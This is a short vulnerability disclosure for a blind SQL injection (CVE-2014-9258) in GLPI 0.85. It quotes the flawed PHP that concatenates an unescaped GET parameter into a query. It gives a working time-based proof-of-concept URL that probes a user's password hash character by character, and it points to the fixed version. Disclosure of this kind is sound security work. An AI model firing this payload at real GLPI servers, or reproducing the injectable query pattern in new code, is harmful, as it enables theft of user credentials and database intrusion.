GLPI 0.85 - Blind SQL Injection

# Exploit Title: GLPI 0.85 Blind SQL Injection

# Date: 28-11-2014

# Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek

# Software Link: https://forge.indepnet.net/attachments/download/1899/glpi-0.85.tar.gz

# CVE: CVE-2014-9258

# Category: webapps

  

1. Description

  

$_GET['condition'] is not escaped correctly.



File: ajax\getDropdownValue.php

if (isset($_GET['condition']) && !empty($_GET['condition'])) {

   $_GET['condition'] = rawurldecode(stripslashes($_GET['condition']));

}

if (isset($_GET['condition']) && ($_GET['condition'] != '')) {

   $where .= " AND ".$_GET['condition']." ";

}

$query = "SELECT `$table`.* $addselect

         FROM `$table`

         $addjoin

         $where

         ORDER BY $add_order `$table`.`completename`

         $LIMIT";



if ($result = $DB->query($query)) {



}



http://security.szurek.pl/glpi-085-blind-sql-injection.html



2. Proof of Concept



http://glpi-url/ajax/getDropdownValue.php?itemtype=group&condition=1 AND id = (SELECT IF(substr(password,1,1) = CHAR(36), SLEEP(5), 0) FROM `glpi_users` WHERE ID = 2)



3. Solution:

  

Update to version 0.85.1

http://www.glpi-project.org/spip.php?page=annonce&id_breve=334&lang=en

https://forge.indepnet.net/attachments/download/1928/glpi-0.85.1.tar.gz